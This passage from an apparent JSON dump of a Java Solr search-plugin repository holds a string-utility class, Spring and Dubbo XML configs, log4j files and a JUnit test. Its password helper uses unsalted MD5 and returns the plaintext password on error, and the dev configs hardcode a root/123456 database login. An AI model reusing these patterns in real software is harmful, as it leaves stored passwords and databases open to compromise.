'0') && (ch <= '9'))\n        {\n          return true;\n        }\n\n      }\n\n      return false;\n    }\n\n    return false;\n  }\n\n  public static boolean chkString(String existStr, String value)\n  {\n    Pattern pattern = Pattern.compile(existStr);\n    Matcher matcher = pattern.matcher(value);\n    boolean didMatch = matcher.matches();\n    return didMatch;\n  }\n\n  public static boolean isExist_Str(String regexp, String mathStr)\n  {\n    boolean result = false;\n    Pattern pattern = Pattern.compile(regexp);\n    Matcher matcher = pattern.matcher(mathStr);\n    result = matcher.find();\n    return result;\n  }\n\n  public static String getSeqNumber(String numStr)\n  {\n    numStr = numStr.replaceAll(\"\\r\\n\", \"\\n\");\n    numStr = numStr.replaceAll(\"\\n\", \"\");\n\n    String seqNumRet = \"\";\n    int iCount = 0;\n    if ((numStr != null) && (numStr.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(numStr);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if ((ch >= '0') && (ch <= '9'))\n        {\n          ++iCount;\n          seqNumRet = seqNumRet + String.valueOf(ch);\n        }\n        else\n        {\n          if (iCount > 10) { if (ch < '0') break; if (ch > '9') break;\n          }\n          iCount = 0;\n          seqNumRet = \"\";\n        }\n      }\n\n    }\n\n    return seqNumRet;\n  }\n\n  public static double round(double v, int scale)\n  {\n    if (scale < 0) {\n      throw new IllegalArgumentException(\"参数scale必须是大于0的整数\");\n    }\n\n    BigDecimal b = new BigDecimal(Double.toString(v));\n    BigDecimal one = new BigDecimal(\"1\");\n    return b.divide(one, scale, 4).doubleValue();\n  }\n\n  public static String rfillCharater(String str, char ch, int len)\n  {\n    StringBuffer fillStr = new StringBuffer(str);\n    int fillLen = len - fillStr.length();\n\n    for (int i = 0; i < fillLen; ++i) {\n      fillStr.append(ch);\n    }\n\n    return fillStr.toString();\n  }\n\n  public static String lfillCharater(String str, char ch, int len)\n  {\n    StringBuffer fillStr = new StringBuffer();\n    int fillLen = len - str.length();\n\n    for (int i = 0; i < fillLen; ++i) {\n      fillStr.append(ch);\n    }\n    fillStr.append(str);\n\n    return fillStr.toString();\n  }\n\n  public static boolean propRule(String regexPattern, String value)\n  {\n    Pattern pattern = Pattern.compile(regexPattern);\n    Matcher matcher = pattern.matcher(value);\n    boolean didMatch = matcher.matches();\n    return didMatch;\n  }\n\n  public static boolean isExistStr(String str, String[] strarray)\n  {\n    if ((strarray == null) || (strarray.length <= 0)) return false;\n    for (int i = 0; i < strarray.length; ++i)\n    {\n      if (strarray[i] == null)\n      {\n        if (str == null) return true;\n\n      }\n      else if (str.indexOf(strarray[i].trim()) != -1)\n      {\n        return true;\n      }\n    }\n    return false;\n  }\n\n  public static String codeToLines(String str)\n  {\n    String strTemp = \"\";\n    if (str == null) {\n      return strTemp;\n    }\n    while (str.length() > 19) {\n      strTemp = strTemp + \"\\n\" + str.substring(0, 19);\n      if (' ' == str.charAt(19)) {\n        str = str.substring(20);\n      }\n      str = str.substring(19);\n    }\n\n    strTemp = strTemp + \"\\n\" + str;\n    strTemp = strTemp.substring(1);\n    return strTemp;\n  }\n\n  public static String nameToLines(String str)\n  {\n    String strTemp = \"\";\n    if (str == null) {\n      return strTemp;\n    }\n    while (str.length() > 8) {\n      strTemp = strTemp + \"<br>\" + str.substring(0, 8);\n      str = str.substring(8);\n    }\n    strTemp = strTemp + \"<br>\" + str;\n    strTemp = strTemp.substring(4);\n    return strTemp;\n  }\n\n  public static String lowerToUppser(String str) {\n    str = str.trim();\n    String strTemp = \"\";\n\n    if ((str == null) || (str.trim().length() == 0)) {\n      return strTemp;\n    }\n    for (int i = 0; i < str.length(); ++i) {\n      char a = str.charAt(i);\n      if ((a >= 'a') && (a <= 'z')) {\n        a = (char)(a - ' ');\n      }\n      strTemp = strTemp + a;\n    }\n    return strTemp;\n  }\n\n  public static String getDomain(String str)\n  {\n    String strTemp = \"\";\n    if (str == null) {\n      return strTemp;\n    }\n    int i = str.indexOf(\"http://\");\n    if (i >= 0)\n    {\n      strTemp = str.substring(i + 7);\n    }\n    i = str.indexOf(\"www.\");\n    if (i >= 0)\n    {\n      strTemp = strTemp.substring(i + 4);\n    }\n    i = str.indexOf(47);\n    if (i >= 0)\n    {\n      strTemp = strTemp.substring(0, i);\n    }\n    return strTemp;\n  }\n\n  public static boolean isExist(String str)\n  {\n    return ((str != null) && (str.length() > 0));\n  }\n\n  public static boolean isNumber(String str)\n  {\n    return str.matches(\"^\\\\d+(\\\\,\\\\d+)*$\");\n  }\n\n  public static boolean isValidDate(String dateStr)\n  {\n    boolean isValid = false;\n    if ((dateStr == null) || (dateStr.length() <= 0)) {\n      return false;\n    }\n    String pattern = \"yyyy-MM-dd\";\n    try {\n      SimpleDateFormat sdf = new SimpleDateFormat(pattern);\n      String date = sdf.format(sdf.parse(dateStr));\n      if (date.equalsIgnoreCase(dateStr))\n        isValid = true;\n    }\n    catch (Exception e) {\n      isValid = false;\n    }\n    return isValid; }\n\n  public static String joinStr(String[] array, String joinChar) {\n    if (array == null)\n      return \"\";\n    if (joinChar == null) joinChar = \",\";\n    String str = \"\";\n    for (int i = 0; i < array.length; ++i) {\n      str = str + array[i];\n      if (i >= array.length - 1) continue; str = str + joinChar;\n    }\n    return str;\n  }\n  \n  /**\n   * 对日期进行格式化\n   * @param d\n   * @param f\n   * @return\n   */\n  public static String formatDate(Date d,String f)\n  {\n\t  SimpleDateFormat sdf = new SimpleDateFormat(f);\n\t  return sdf.format(d);\n  }\n  \n  /**\n   * md5加密\n   * @param password\n   * @return\n   */\n  public static String makeMD5(String password) {   \n\t  MessageDigest md;\n\t  try {   \n\t\t  // 生成一个MD5加密计算摘要   \n\t\t  md = MessageDigest.getInstance(\"MD5\");   \n\t\t  // 计算md5函数   \n\t\t  md.update(password.getBytes());\n\t\t  // digest()最后确定返回md5 hash值，返回值为8为字符串。因为md5 hash值是16位的hex值，实际上就是8位的字符   \n\t\t  // BigInteger函数则将8位的字符串转换成16位hex值，用字符串来表示；得到字符串形式的hash值\n\t\t  String pwd = new BigInteger(1, md.digest()).toString(16);   \n\t\t  return pwd;   \n\t  } catch (Exception e) {   \n\t\t  e.printStackTrace();   \n\t  }\n\t  return password;   \n  }\n}"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/resources/applicationContext-dubbo.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:dubbo=\"http://code.alibabatech.com/schema/dubbo\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans  http://www.springframework.org/schema/beans/spring-beans-3.2.xsd\n\t http://code.alibabatech.com/schema/dubbo\thttp://code.alibabatech.com/schema/dubbo/dubbo.xsd\"\n       default-lazy-init=\"true\">\n\n\n    <description>Dubbo provider配置</description>\n\n    <!-- 提供方应用信息，用于计算依赖关系 -->\n    <dubbo:application name=\"search-app-server-center\"/>\n\n    <!-- 使用zookeeper注册中心暴露服务地址 -->\n    <!-- 注册到这里 -->\n\t<dubbo:registry protocol=\"zookeeper\" address=\"${dubbo.registry.address}\" id=\"zookeeperService\" />\n\t<!-- 到这里调用 -->\n\t<dubbo:registry protocol=\"zookeeper\" address=\"${dubbo.registry.address.client}\" id=\"zookeeperClient\" />\n\n    <!-- 用dubbo协议在30020端口暴露服务 -->\n    <dubbo:protocol name=\"dubbo\" port=\"30020\" dispather=\"all\" threadpool=\"cached\" threads=\"5000\"/>\n    <dubbo:service interface=\"com.jun.plugin.solr.api.ISearchBaseApiService\" ref=\"searchBaseApiServiceImpl\"\n                   version=\"1.0\" registry=\"zookeeperService\" owner=\"cl-search\"/>\n \n    <!-- 和本地bean一样实现服务 -->\n    <bean id=\"searchBaseApiServiceImpl\" class=\"com.jun.plugin.solr.api.impl.SearchBaseApiServiceImpl\"/>\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/resources/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n    xmlns:jee=\"http://www.springframework.org/schema/jee\"\n    xmlns:tx=\"http://www.springframework.org/schema/tx\" \n    xmlns:context=\"http://www.springframework.org/schema/context\"\n    xmlns:task=\"http://www.springframework.org/schema/task\" \n    xmlns:aop=\"http://www.springframework.org/schema/aop\"\n    xmlns:p=\"http://www.springframework.org/schema/p\"\n    xmlns:cache=\"http://www.springframework.org/schema/cache\"\n    xmlns:c=\"http://www.springframework.org/schema/c\"\n    xmlns:util=\"http://www.springframework.org/schema/util\"\n    xsi:schemaLocation=\"http://www.springframework.org/schema/beans  http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n    http://www.springframework.org/schema/cache http://www.springframework.org/schema/cache/spring-cache.xsd\n    http://www.springframework.org/schema/tx  http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n    http://www.springframework.org/schema/jee  http://www.springframework.org/schema/jee/spring-jee-4.0.xsd\n    http://www.springframework.org/schema/context  http://www.springframework.org/schema/context/spring-context-4.0.xsd\n    http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\n    http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-4.0.xsd\"\n    default-lazy-init=\"true\">\n\n\t<description>Spring公共配置</description>\n\n\t<!--开启注解 -->\n\t<context:annotation-config />\n\t\n\t<!-- 开启自动切面代理 -->\n\t<aop:aspectj-autoproxy />\n\t\n\t<!-- 开启注解事务支持 -->\t\n\t<tx:annotation-driven transaction-manager=\"transactionManager\" proxy-target-class=\"true\" />\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t <property name=\"dataSource\" ref=\"dataSourceSearchCorba\"/>\n\t</bean>\t\n\t\n\t<context:component-scan base-package=\"com.cl\">\n\t\t<context:exclude-filter type=\"annotation\" expression=\"org.springframework.stereotype.Controller\" />\n\t</context:component-scan>\n\n\t<!-- 定义受环境影响易变的变量 -->\n\t<bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n\t\t<property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\" />\n\t\t<property name=\"ignoreResourceNotFound\" value=\"true\" />\n\t\t<property name=\"locations\">\n\t\t\t<list>\n\t\t\t\t<!-- 标准配置 -->\n\t\t\t\t<value>classpath*:/config.properties</value>\t\t\n\t\t\t\t<!-- 本地开发环境配置 -->\n\t\t\t\t<value>file:/d:/conf/cl/search-api-server/*.properties</value>\n\t\t\t\t<!-- 服务器生产环境配置 -->\n                <value>file:/etc/conf/cl/search-api-server/*.properties</value>\n\t\t\t</list>\n\t\t</property>\n\t</bean>\n\t\n\t<!-- 通过BeanFactoryAware，手动从spring容器获取bean -->\n    <bean class=\"com.jun.plugin.solr.utils.SpringContextHolder\"  lazy-init=\"false\" />\n    \n    <bean id=\"sqlSessionFactorySearchCorba\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n\t\t<property name=\"dataSource\" ref=\"dataSourceSearchCorba\" />\n\t</bean>\n\t<!-- 会自动将basePackage中配置的包路径下的所有带有@Mapper标注的接口生成代理类，实现数据访问 -->\n\t<bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n\t\t<property name=\"sqlSessionFactory\" ref=\"sqlSessionFactorySearchCorba\" />\n\t\t<property name=\"basePackage\" value=\"com/cl/search/mapper\" />\n\t</bean>\n\t\n\t<beans profile=\"production\">\n\t\t<bean id=\"dataSourceSearchCorba\" class=\"org.springframework.jndi.JndiObjectFactoryBean\">\n\t\t\t<property name=\"jndiName\" value=\"java:/MySqlDS_JDBC\" />\n\t\t</bean>\n\t</beans>\n    <beans profile=\"dev\">\n\t    <bean id=\"dataSourceSearchCorba\" class=\"org.springframework.jdbc.datasource.DriverManagerDataSource\">\n\t        <property name=\"driverClassName\" value=\"com.mysql.jdbc.Driver\"/>\n\t\t    <property name=\"url\" value=\"jdbc:mysql://localhost:3306/search?useUnicode=true&amp;characterEncoding=utf8&amp;autoReconnect=true\"/>\n\t\t    <property name=\"username\" value=\"root\"/>\n\t\t    <property name=\"password\" value=\"123456\"/>\n\t    </bean>\n    </beans>\n    \n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/resources/config.properties",
    "content": "﻿#ZooKeeper\ndubbo.registry.address=127.0.0.1:2181\ndubbo.registry.address.client=127.0.0.1:2181\n\n#Solr\nsolrUrl = http://127.0.0.1:8080/solr/c"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/resources/log4j.dtd",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements.  See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License.  You may obtain a copy of the License at\n\n      http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n-->\n\n<!-- Authors: Chris Taylor, Ceki Gulcu. -->\n\n<!-- Version: 1.2 -->\n\n<!-- A configuration element consists of optional renderer\nelements,appender elements, categories and an optional root\nelement. -->\n\n<!ELEMENT log4j:configuration (renderer*, throwableRenderer?,\n                               appender*,plugin*, (category|logger)*,root?,\n                               (categoryFactory|loggerFactory)?)>\n\n<!-- The \"threshold\" attribute takes a level value below which -->\n<!-- all logging statements are disabled. -->\n\n<!-- Setting the \"debug\" enable the printing of internal log4j logging   -->\n<!-- statements.                                                         -->\n\n<!-- By default, debug attribute is \"null\", meaning that we not do touch -->\n<!-- internal log4j logging settings. The \"null\" value for the threshold -->\n<!-- attribute can be misleading. The threshold field of a repository\t -->\n<!-- cannot be set to null. The \"null\" value for the threshold attribute -->\n<!-- simply means don't touch the threshold field, the threshold field   --> \n<!-- keeps its old value.                                                -->\n     \n<!ATTLIST log4j:configuration\n  xmlns:log4j              CDATA #FIXED \"http://jakarta.apache.org/log4j/\" \n  threshold                (all|trace|debug|info|warn|error|fatal|off|null) \"null\"\n  debug                    (true|false|null)  \"null\"\n  reset                    (true|false) \"false\"\n>\n\n<!-- renderer elements allow the user to customize the conversion of  -->\n<!-- message objects to String.                                       -->\n\n<!ELEMENT renderer EMPTY>\n<!ATTLIST renderer\n  renderedClass  CDATA #REQUIRED\n  renderingClass CDATA #REQUIRED\n>\n\n<!--  throwableRenderer allows the user to customize the conversion\n         of exceptions to a string representation.  -->\n<!ELEMENT throwableRenderer (param*)>\n<!ATTLIST throwableRenderer\n  class  CDATA #REQUIRED\n>\n\n\n<!-- Appenders must have a name and a class. -->\n<!-- Appenders may contain an error handler, a layout, optional parameters -->\n<!-- and filters. They may also reference (or include) other appenders. -->\n<!ELEMENT appender (errorHandler?, param*,\n      rollingPolicy?, triggeringPolicy?, connectionSource?,\n      layout?, filter*, appender-ref*)>\n<!ATTLIST appender\n  name \t\tCDATA \t#REQUIRED\n  class \tCDATA\t#REQUIRED\n>\n\n<!ELEMENT layout (param*)>\n<!ATTLIST layout\n  class\t\tCDATA\t#REQUIRED\n>\n\n<!ELEMENT filter (param*)>\n<!ATTLIST filter\n  class\t\tCDATA\t#REQUIRED\n>\n\n<!-- ErrorHandlers can be of any class. They can admit any number of -->\n<!-- parameters. -->\n\n<!ELEMENT errorHandler (param*, root-ref?, logger-ref*,  appender-ref?)> \n<!ATTLIST errorHandler\n   class        CDATA   #REQUIRED \n>\n\n<!ELEMENT root-ref EMPTY>\n\n<!ELEMENT logger-ref EMPTY>\n<!ATTLIST logger-ref\n  ref CDATA #REQUIRED\n>\n\n<!ELEMENT param EMPTY>\n<!ATTLIST param\n  name\t\tCDATA   #REQUIRED\n  value\t\tCDATA\t#REQUIRED\n>\n\n\n<!-- The priority class is org.apache.log4j.Level by default -->\n<!ELEMENT priority (param*)>\n<!ATTLIST priority\n  class   CDATA\t#IMPLIED\n  value\t  CDATA #REQUIRED\n>\n\n<!-- The level class is org.apache.log4j.Level by default -->\n<!ELEMENT level (param*)>\n<!ATTLIST level\n  class   CDATA\t#IMPLIED\n  value\t  CDATA #REQUIRED\n>\n\n\n<!-- If no level element is specified, then the configurator MUST not -->\n<!-- touch the level of the named category. -->\n<!ELEMENT category (param*,(priority|level)?,appender-ref*)>\n<!ATTLIST category\n  class         CDATA   #IMPLIED\n  name\t\tCDATA\t#REQUIRED\n  additivity\t(true|false) \"true\"  \n>\n\n<!-- If no level element is specified, then the configurator MUST not -->\n<!-- touch the level of the named logger. -->\n<!ELEMENT logger (param*,level?,appender-ref*)>\n<!ATTLIST logger\n  class         CDATA   #IMPLIED\n  name\t\tCDATA\t#REQUIRED\n  additivity\t(true|false) \"true\"  \n>\n\n\n<!ELEMENT categoryFactory (param*)>\n<!ATTLIST categoryFactory \n   class        CDATA #REQUIRED>\n\n<!ELEMENT loggerFactory (param*)>\n<!ATTLIST loggerFactory\n   class        CDATA #REQUIRED>\n\n<!ELEMENT appender-ref EMPTY>\n<!ATTLIST appender-ref\n  ref CDATA #REQUIRED\n>\n\n<!-- plugins must have a name and class and can have optional parameters -->\n<!ELEMENT plugin (param*, connectionSource?)>\n<!ATTLIST plugin\n  name \t\tCDATA \t   #REQUIRED\n  class \tCDATA  #REQUIRED\n>\n\n<!ELEMENT connectionSource (dataSource?, param*)>\n<!ATTLIST connectionSource\n  class        CDATA  #REQUIRED\n>\n\n<!ELEMENT dataSource (param*)>\n<!ATTLIST dataSource\n  class        CDATA  #REQUIRED\n>\n\n<!ELEMENT triggeringPolicy ((param|filter)*)>\n<!ATTLIST triggeringPolicy\n  name \t\tCDATA  #IMPLIED\n  class \tCDATA  #REQUIRED\n>\n\n<!ELEMENT rollingPolicy (param*)>\n<!ATTLIST rollingPolicy\n  name \t\tCDATA  #IMPLIED\n  class \tCDATA  #REQUIRED\n>\n\n\n<!-- If no priority element is specified, then the configurator MUST not -->\n<!-- touch the priority of root. -->\n<!-- The root category always exists and cannot be subclassed. -->\n<!ELEMENT root (param*, (priority|level)?, appender-ref*)>\n\n\n<!-- ==================================================================== -->\n<!--                       A logging event                                -->\n<!-- ==================================================================== -->\n<!ELEMENT log4j:eventSet (log4j:event*)>\n<!ATTLIST log4j:eventSet\n  xmlns:log4j             CDATA #FIXED \"http://jakarta.apache.org/log4j/\" \n  version                (1.1|1.2) \"1.2\" \n  includesLocationInfo   (true|false) \"true\"\n>\n\n\n\n<!ELEMENT log4j:event (log4j:message, log4j:NDC?, log4j:throwable?, \n                       log4j:locationInfo?, log4j:properties?) >\n\n<!-- The timestamp format is application dependent. -->\n<!ATTLIST log4j:event\n    logger     CDATA #REQUIRED\n    level      CDATA #REQUIRED\n    thread     CDATA #REQUIRED\n    timestamp  CDATA #REQUIRED\n    time       CDATA #IMPLIED\n>\n\n<!ELEMENT log4j:message (#PCDATA)>\n<!ELEMENT log4j:NDC (#PCDATA)>\n\n<!ELEMENT log4j:throwable (#PCDATA)>\n\n<!ELEMENT log4j:locationInfo EMPTY>\n<!ATTLIST log4j:locationInfo\n  class  CDATA\t#REQUIRED\n  method CDATA\t#REQUIRED\n  file   CDATA\t#REQUIRED\n  line   CDATA\t#REQUIRED\n>\n\n<!ELEMENT log4j:properties (log4j:data*)>\n\n<!ELEMENT log4j:data EMPTY>\n<!ATTLIST log4j:data\n  name   CDATA\t#REQUIRED\n  value  CDATA\t#REQUIRED\n>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/resources/log4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE log4j:configuration SYSTEM \"log4j.dtd\">\n<log4j:configuration xmlns:log4j=\"http://jakarta.apache.org/log4j/\">\n\t<appender name=\"console\" class=\"org.apache.log4j.ConsoleAppender\">\n\t\t<layout class=\"org.apache.log4j.PatternLayout\">\n\t\t\t<param name=\"ConversionPattern\" value=\"%d %-5p [%t] [%c] - %m%n\" />\n\t\t</layout>\n\t</appender>\n\t<appender name=\"dailyRolling\" class=\"org.apache.log4j.DailyRollingFileAppender\">\n\t\t<param name=\"File\" value=\"/data/applogs/search-api-server/search.log\" />\n\t\t<layout class=\"org.apache.log4j.PatternLayout\">\n\t\t\t<param name=\"ConversionPattern\" value=\"%-d{yyyy-MM-dd HH\\:mm\\:ss} %-5p \n\t\t[%t] [%c] - %m%n\" />\n\t\t</layout>\n\t</appender>\n\t<!-- 打印sql语句 -->\n\t<category name=\"java.sql\">\n\t\t<priority value=\"debug\" />\n\t</category>\n\t<category name=\"com.ibatis\">\n\t\t<priority value=\"error\" />\n\t</category>\n\t<logger name=\"org\">\n\t\t<level value=\"ERROR\" />\n\t</logger>\n\t<logger name=\"net\">\n\t\t<level value=\"ERROR\" />\n\t</logger>\n\t<category name=\"com.cl\" additivity=\"false\">\n\t\t<priority value=\"INFO\" />\n\t\t<appender-ref ref=\"dailyRolling\" />\n\t</category>\n\t<root>\n\t\t<level value=\"ERROR\" />\n\t\t<appender-ref ref=\"console\" />\n\t\t<appender-ref ref=\"dailyRolling\" />\n\t</root>\n</log4j:configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/test/java/com/jun/plugin/solr/api/impl/test/SearchBaseApiServiceImplTest.java",
    "content": "package com.jun.plugin.solr.api.impl.test;\n\nimport java.util.List;\n\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.BeforeClass;\nimport org.junit.Test;\nimport org.springframework.context.support.ClassPathXmlApplicationContext;\n\nimport com.jun.plugin.solr.api.impl.SearchBaseApiServiceImpl;\nimport com.jun.plugin.solr.model.Commodity;\nimport com.jun.plugin.solr.model.FacetItem;\nimport com.jun.plugin.solr.model.SearchModel;\nimport com.jun.plugin.solr.model.SearchResult;\n\npublic class SearchBaseApiServiceImplTest {\n\n\tprivate static SearchBaseApiServiceImpl service;\n\t\n\t@BeforeClass\n\tpublic static void setUpBeforeClass() throws Exception {\n\t\tClassPathXmlApplicationContext ctx = new ClassPathXmlApplicationContext(\"applicationContext-test.xml\");  \n\t\tservice = (SearchBaseApiServiceImpl)ctx.getBean(\"searchBaseApiServiceImpl\");\n\t\tctx.close();\n\t}\n\n\t@Before\n\tpublic void setUp() throws Exception {\n\t}\n\n\t@After\n\tpublic void tearDown() throws Exception {\n\t}\n\n\t@Test\n\tpublic void getWebSearchResult() {\t\t\n\t\tSearchModel searchModel = new SearchModel();\n\t\t//searchModel.setKeyword(\"*\");\n\t\t//searchModel.setPageNo(1);\n\t\tSearchResult sr = service.getWebSearchResult(searchModel);\n\t\tif(sr !=null)\n\t\t{\n\t\t\tList<Commodity> commodityList = sr.getCommodityList();\n\t\t\tfor(Commodity c : commodityList)\n\t\t\t{\n\t\t\t\tSystem.out.println(c.getNo() + \"\\t\" + c.getName());\n\t\t\t}\n\t\t\tList<FacetItem> facetItemList = sr.getFacetItemList();\n\t\t\tfor(FacetItem fi : facetItemList)\n\t\t\t{\n\t\t\t\tSystem.out.println(fi.getId() + \"\\t\" + fi.getValueCount());\n\t\t\t}\n\t\t} else {\n\t\t\tSystem.out.println(\"null\");\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/test/resources/applicationContext-test.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n    xmlns:jee=\"http://www.springframework.org/schema/jee\"\n    xmlns:tx=\"http://www.springframework.org/schema/tx\" \n    xmlns:context=\"http://www.springframework.org/schema/context\"\n    xmlns:task=\"http://www.springframework.org/schema/task\" \n    xmlns:aop=\"http://www.springframework.org/schema/aop\"\n    xmlns:p=\"http://www.springframework.org/schema/p\"\n    xmlns:cache=\"http://www.springframework.org/schema/cache\"\n    xmlns:c=\"http://www.springframework.org/schema/c\"\n    xmlns:util=\"http://www.springframework.org/schema/util\"\n    xsi:schemaLocation=\"http://www.springframework.org/schema/beans  http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n    http://www.springframework.org/schema/cache http://www.springframework.org/schema/cache/spring-cache.xsd\n    http://www.springframework.org/schema/tx  http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n    http://www.springframework.org/schema/jee  http://www.springframework.org/schema/jee/spring-jee-4.0.xsd\n    http://www.springframework.org/schema/context  http://www.springframework.org/schema/context/spring-context-4.0.xsd\n    http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\n    http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-4.0.xsd\"\n    default-lazy-init=\"true\">\n\n\t<description>Spring公共配置</description>\n\n\t<!--开启注解 -->\n\t<context:annotation-config />\n\t\n\t<!-- 开启自动切面代理 -->\n\t<aop:aspectj-autoproxy />\n\t\n\t<!-- 开启注解事务支持 -->\t\n\t<tx:annotation-driven transaction-manager=\"transactionManager\" proxy-target-class=\"true\" />\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t <property name=\"dataSource\" ref=\"dataSourceSearchCorba\"/>\n\t</bean>\t\n\t\n\t<context:component-scan base-package=\"com.cl\">\n\t\t<context:exclude-filter type=\"annotation\" expression=\"org.springframework.stereotype.Controller\" />\n\t</context:component-scan>\n\n\t<!-- 定义受环境影响易变的变量 -->\n\t<bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n\t\t<property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\" />\n\t\t<property name=\"ignoreResourceNotFound\" value=\"true\" />\n\t\t<property name=\"locations\">\n\t\t\t<list>\n\t\t\t\t<!-- 标准配置 -->\n\t\t\t\t<value>classpath*:/config.properties</value>\t\t\n\t\t\t\t<!-- 本地开发环境配置 -->\n\t\t\t\t<value>file:/d:/conf/cl/search-api-server/*.properties</value>\n\t\t\t\t<!-- 服务器生产环境配置 -->\n                <value>file:/etc/conf/cl/search-api-server/*.properties</value>\n\t\t\t</list>\n\t\t</property>\n\t</bean>\n\t\n\t<!-- 通过BeanFactoryAware，手动从spring容器获取bean -->\n    <bean class=\"com.jun.plugin.solr.utils.SpringContextHolder\"  lazy-init=\"false\" />\n    \n    <bean id=\"sqlSessionFactorySearchCorba\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n\t\t<property name=\"dataSource\" ref=\"dataSourceSearchCorba\" />\n\t</bean>\n\t<!-- 会自动将basePackage中配置的包路径下的所有带有@Mapper标注的接口生成代理类，实现数据访问 -->\n\t<bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n\t\t<property name=\"sqlSessionFactory\" ref=\"sqlSessionFactorySearchCorba\" />\n\t\t<property name=\"basePackage\" value=\"com/cl/search/mapper\" />\n\t</bean>\n\t\n    <bean id=\"dataSourceSearchCorba\" class=\"org.springframework.jdbc.datasource.DriverManagerDataSource\">\n        <property name=\"driverClassName\" value=\"com.mysql.jdbc.Driver\"/>\n\t    <property name=\"url\" value=\"jdbc:mysql://localhost:3306/search?useUnicode=true&amp;characterEncoding=utf8&amp;autoReconnect=true\"/>\n\t    <property name=\"username\" value=\"root\"/>\n\t    <property name=\"password\" value=\"123456\"/>\n    </bean>\n    \n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/test/resources/config.properties",
    "content": "﻿#ZooKeeper\ndubbo.registry.address=127.0.0.1:2181\ndubbo.registry.address.client=127.0.0.1:2181\n\n#Solr\nsolrUrl = http://127.0.0.1:8080/solr/c"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/pom.xml",
